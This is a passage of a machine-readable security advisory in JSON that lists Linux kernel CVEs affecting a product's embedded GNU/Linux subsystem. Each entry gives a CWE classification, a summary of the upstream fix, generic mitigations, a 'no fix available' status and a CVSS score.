          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-33847"
    },
    {
      "cve": "CVE-2024-34027",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "f2fs: compress: filesystem metadata including blkaddr in dnode, inode fields and .total_valid_block_count may be corrupted after SPO case.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-34027"
    },
    {
      "cve": "CVE-2024-35789",
      "cwe": {
        "id": "CWE-400",
        "name": "Uncontrolled Resource Consumption"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nwifi: mac80211: check/clear fast rx for non-4addr sta VLAN changes\r\n\r\nWhen moving a station out of a VLAN and deleting the VLAN afterwards, the\r\nfast_rx entry still holds a pointer to the VLAN\u0027s netdev, which can cause\r\nuse-after-free bugs. Fix this by immediately calling ieee80211_check_fast_rx\r\nafter the VLAN change.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-35789"
    },
    {
      "cve": "CVE-2024-35805",
      "cwe": {
        "id": "CWE-667",
        "name": "Improper Locking"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\ndm snapshot: fix lockup in dm_exception_table_exit\r\n\r\nThere was reported lockup when we exit a snapshot with many exceptions.\r\nFix this by adding \"cond_resched\" to the loop that frees the exceptions.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-35805"
    },
    {
      "cve": "CVE-2024-35807",
      "cwe": {
        "id": "CWE-400",
        "name": "Uncontrolled Resource Consumption"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved: ext4: fix corruption during on-line resize.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-35807"
    },
    {
      "cve": "CVE-2024-35811",
      "cwe": {
        "id": "CWE-416",
        "name": "Use After Free"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nwifi: brcmfmac: Fix use-after-free bug in brcmf_cfg80211_detach",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-35811"
    },
    {
      "cve": "CVE-2024-35813",
      "cwe": {
        "id": "CWE-129",
        "name": "Improper Validation of Array Index"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nmmc: core: Avoid negative index with array access\r\n\r\nCommit 4d0c8d0aef63 (\"mmc: core: Use mrq.sbc in close-ended ffu\") assigns\r\nprev_idata = idatas[i - 1], but doesn\u0027t check that the iterator i is\r\ngreater than zero. Let\u0027s fix this by adding a check.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-35813"
    },
    {
      "cve": "CVE-2024-35815",
      "cwe": {
        "id": "CWE-237",
        "name": "Improper Handling of Structural Elements"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nfs/aio: Check IOCB_AIO_RW before the struct aio_kiocb conversion\r\n\r\nThe first kiocb_set_cancel_fn() argument may point at a struct kiocb\r\nthat is not embedded inside struct aio_kiocb. With the current code,\r\ndepending on the compiler, the req-\u003eki_ctx read happens either before\r\nthe IOCB_AIO_RW test or after that test. Move the req-\u003eki_ctx read such\r\nthat it is guaranteed that the IOCB_AIO_RW test happens first.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-35815"
    },
    {
      "cve": "CVE-2024-35823",
      "cwe": {
        "id": "CWE-120",
        "name": "Buffer Copy without Checking Size of Input (\u0027Classic Buffer Overflow\u0027)"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nvt: fix unicode buffer corruption when deleting characters\r\n\r\nThis is the same issue that was fixed for the VGA text buffer in commit\r\n39cdb68c64d8 (\"vt: fix memory overlapping when deleting chars in the\r\nbuffer\"). The cure is also the same i.e. replace memcpy() with memmove()\r\ndue to the overlaping buffers.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.3,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-35823"
    },
    {
      "cve": "CVE-2024-35828",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved: wifi: libertas: some memleaks in lbs_allocate_cmd_buffer() In the for statement of lbs_allocate_cmd_buffer(), if the allocation of cmdarray[i].cmdbuf fails, both cmdarray and cmdarray[i].cmdbuf needs to be freed. Otherwise, there will be memleaks in lbs_allocate_cmd_buffer().",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-35828"
    },
    {
      "cve": "CVE-2024-35845",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "wifi: iwlwifi: dbg-tlv: ensure NUL termination The iwl_fw_ini_debug_info_tlv is used as a string, so we must ensure the string is terminated correctly before using it.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-35845"
    },
    {
      "cve": "CVE-2024-35849",
      "cwe": {
        "id": "CWE-908",
        "name": "Use of Uninitialized Resource"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nbtrfs: fix information leak in btrfs_ioctl_logical_to_ino()",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.1,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-35849"
    },
    {
      "cve": "CVE-2024-35877",
      "cwe": {
        "id": "CWE-237",
        "name": "Improper Handling of Structural Elements"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nx86/mm/pat: fix VM_PAT handling in COW mappings\r\n\r\nPAT handling won\u0027t do the right thing in COW mappings: the first PTE (or,\r\nin fact, all PTEs) can be replaced during write faults to point at anon\r\nfolios.  Reliably recovering the correct PFN and cachemode using\r\nfollow_phys() from PTEs will not work in COW mappings.\r\n\r\nUsing follow_phys(), we might just get the address+protection of the anon\r\nfolio (which is very wrong), or fail on swap/nonswap entries, failing\r\nfollow_phys() and triggering a WARN_ON_ONCE() in untrack_pfn() and\r\ntrack_pfn_copy(), not properly calling free_pfn_range().\r\n\r\nIn free_pfn_range(), we either wouldn\u0027t call memtype_free() or would call\r\nit with the wrong range, possibly leaking memory.\r\n\r\nTo fix that, let\u0027s update follow_phys() to refuse returning anon folios,\r\nand fallback to using the stored PFN inside vma-\u003evm_pgoff for COW mappings\r\nif we run into that.\r\n\r\nWe will now properly handle untrack_pfn() with COW mappings, where we\r\ndon\u0027t need the cachemode.  We\u0027ll have to fail fork()-\u003etrack_pfn_copy() if\r\nthe first page was replaced by an anon folio, though: we\u0027d have to store\r\nthe cachemode in the VMA to make this work, likely growing the VMA size.\r\n\r\nFor now, lets keep it simple and let track_pfn_copy() just fail in that\r\ncase: it would have failed in the past with swap/nonswap entries already,\r\nand it would have done the wrong thing with anon folios.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-35877"
    },
    {
      "cve": "CVE-2024-35884",
      "cwe": {
        "id": "CWE-923",
        "name": "Improper Restriction of Communication Channel to Intended Endpoints"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nudp: do not accept non-tunnel GSO skbs landing in a tunnel\r\n\r\nWhen rx-udp-gro-forwarding is enabled UDP packets might be GROed when\r\nbeing forwarded. If such packets might land in a tunnel this can cause\r\nvarious issues and udp_gro_receive makes sure this isn\u0027t the case by\r\nlooking for a matching socket. This is performed in\r\nudp4/6_gro_lookup_skb but only in the current netns. This is an issue\r\nwith tunneled packets when the endpoint is in another netns. In such\r\ncases the packets will be GROed at the UDP level, which leads to various\r\nissues later on. The same thing can happen with rx-gro-list.\r\n\r\nWe saw this with geneve packets being GROed at the UDP level. In such\r\ncase gso_size is set; later the packet goes through the geneve rx path,\r\nthe geneve header is pulled, the offset are adjusted and frag_list skbs\r\nare not adjusted with regard to geneve. When those skbs hit\r\nskb_fragment, it will misbehave. Different outcomes are possible\r\ndepending on what the GROed skbs look like; from corrupted packets to\r\nkernel crashes.\r\n\r\nOne example is a BUG_ON[1] triggered in skb_segment while processing the\r\nfrag_list. Because gso_size is wrong (geneve header was pulled)\r\nskb_segment thinks there is \"geneve header size\" of data in frag_list,\r\nalthough it\u0027s in fact the next packet. The BUG_ON itself has nothing to\r\ndo with the issue. This is only one of the potential issues.\r\n\r\nLooking up for a matching socket in udp_gro_receive is fragile: the\r\nlookup could be extended to all netns (not speaking about performances)\r\nbut nothing prevents those packets from being modified in between and we\r\ncould still not find a matching socket. It\u0027s OK to keep the current\r\nlogic there as it should cover most cases but we also need to make sure\r\nwe handle tunnel packets being GROed too early.\r\n\r\nThis is done by extending the checks in udp_unexpected_gso: GSO packets\r\nlacking the SKB_GSO_UDP_TUNNEL/_CSUM bits and landing in a tunnel must\r\nbe segmented.\r\n\r\n[1] kernel BUG at net/core/skbuff.c:4408!\r\n    RIP: 0010:skb_segment+0xd2a/0xf70\r\n    __udp_gso_segment+0xaa/0x560",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-35884"
    },
    {
      "cve": "CVE-2024-35886",
      "cwe": {
        "id": "CWE-835",
        "name": "Loop with Unreachable Exit Condition (\u0027Infinite Loop\u0027)"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nipv6: Fix infinite recursion in fib6_dump_done().\r\n\r\nsyzkaller reported infinite recursive calls of fib6_dump_done() during\r\nnetlink socket destruction.\r\n\r\nFrom the log, syzkaller sent an AF_UNSPEC RTM_GETROUTE message, and then\r\nthe response was generated.  The following recvmmsg() resumed the dump\r\nfor IPv6, but the first call of inet6_dump_fib() failed at kzalloc() due\r\nto the fault injection.\r\n\r\n  12:01:34 executing program 3:\r\n  r0 = socket$nl_route(0x10, 0x3, 0x0)\r\n  sendmsg$nl_route(r0, ... snip ...)\r\n  recvmmsg(r0, ... snip ...) (fail_nth: 8)\r\n\r\nHere, fib6_dump_done() was set to nlk_sk(sk)-\u003ecb.done, and the next call\r\nof inet6_dump_fib() set it to nlk_sk(sk)-\u003ecb.args[3].  syzkaller stopped\r\nreceiving the response halfway through, and finally netlink_sock_destruct()\r\ncalled nlk_sk(sk)-\u003ecb.done().\r\n\r\nfib6_dump_done() calls fib6_dump_end() and nlk_sk(sk)-\u003ecb.done() if it\r\nis still not NULL.  fib6_dump_end() rewrites nlk_sk(sk)-\u003ecb.done() by\r\nnlk_sk(sk)-\u003ecb.args[3], but it has the same function, not NULL, calling\r\nitself recursively and hitting the stack guard page.\r\n\r\nTo avoid the issue, let\u0027s set the destructor after kzalloc().",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-35886"
    },
    {
      "cve": "CVE-2024-35888",
      "cwe": {
        "id": "CWE-457",
        "name": "Use of Uninitialized Variable"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved: erspan: make sure erspan_base_hdr is present in skb-\u003ehead.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-35888"
    },
    {
      "cve": "CVE-2024-35893",
      "cwe": {
        "id": "CWE-908",
        "name": "Use of Uninitialized Resource"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nnet/sched: act_skbmod: prevent kernel-infoleak\r\n\r\nsyzbot found that tcf_skbmod_dump() was copying four bytes\r\nfrom kernel stack to user space.\r\n\r\nThe issue here is that \u0027struct tc_skbmod\u0027 has a four bytes hole.\r\n\r\nWe need to clear the structure before filling fields.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-35893"
    },
    {
      "cve": "CVE-2024-35895",
      "cwe": {
        "id": "CWE-667",
        "name": "Improper Locking"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbpf, sockmap: Prevent lock inversion deadlock in map delete elem\n\nsyzkaller started using corpuses where a BPF tracing program deletes\nelements from a sockmap/sockhash map. Because BPF tracing programs can be\ninvoked from any interrupt context, locks taken during a map_delete_elem\noperation must be hardirq-safe. Otherwise a deadlock due to lock inversion\nis possible, as reported by lockdep:\n\n       CPU0                    CPU1\n       ----                    ----\n  lock(\u0026htab-\u003ebuckets[i].lock);\n                               local_irq_disable();\n                               lock(\u0026host-\u003elock);\n                               lock(\u0026htab-\u003ebuckets[i].lock);\n  \u003cInterrupt\u003e\n    lock(\u0026host-\u003elock);\n\nLocks in sockmap are hardirq-unsafe by design. We expects elements to be\ndeleted from sockmap/sockhash only in task (normal) context with interrupts\nenabled, or in softirq context.\n\nDetect when map_delete_elem operation is invoked from a context which is\n_not_ hardirq-unsafe, that is interrupts are disabled, and bail out with an\nerror.\n\nNote that map updates are not affected by this issue. BPF verifier does not\nallow updating sockmap/sockhash from a BPF tracing program today.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-35895"
    },
    {
      "cve": "CVE-2024-35896",
      "cwe": {
        "id": "CWE-125",
        "name": "Out-of-bounds Read"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nnetfilter: validate user input for expected length\r\n\r\nI got multiple syzbot reports showing old bugs exposed\r\nby BPF after commit 20f2505fb436 (\"bpf: Try to avoid kzalloc\r\nin cgroup/{s,g}etsockopt\")\r\n\r\nsetsockopt() @optlen argument should be taken into account\r\nbefore copying data.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.1,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-35896"
    },
    {
      "cve": "CVE-2024-35897",
      "cwe": {
        "id": "CWE-1287",
        "name": "Improper Validation of Specified Type of Input"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nnetfilter: nf_tables: discard table flag update with pending basechain deletion\r\n\r\nHook unregistration is deferred to the commit phase, same occurs with\r\nhook updates triggered by the table dormant flag. When both commands are\r\ncombined, this results in deleting a basechain while leaving its hook\r\nstill registered in the core.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-35897"
    },
    {
      "cve": "CVE-2024-35898",
      "cwe": {
        "id": "CWE-362",
        "name": "Concurrent Execution using Shared Resource with Improper Synchronization (\u0027Race Condition\u0027)"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nnetfilter: nf_tables: Fix potential data-race in __nft_flowtable_type_get()\r\n\r\nnft_unregister_flowtable_type() within nf_flow_inet_module_exit() can\r\nconcurrent with __nft_flowtable_type_get() within nf_tables_newflowtable().\r\nAnd thhere is not any protection when iterate over nf_tables_flowtables\r\nlist in __nft_flowtable_type_get(). Therefore, there is pertential\r\ndata-race of nf_tables_flowtables list entry.\r\n\r\nUse list_for_each_entry_rcu() to iterate over nf_tables_flowtables list\r\nin __nft_flowtable_type_get(), and use rcu_read_lock() in the caller\r\nnft_flowtable_type_get() to protect the entire type query process.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-35898"
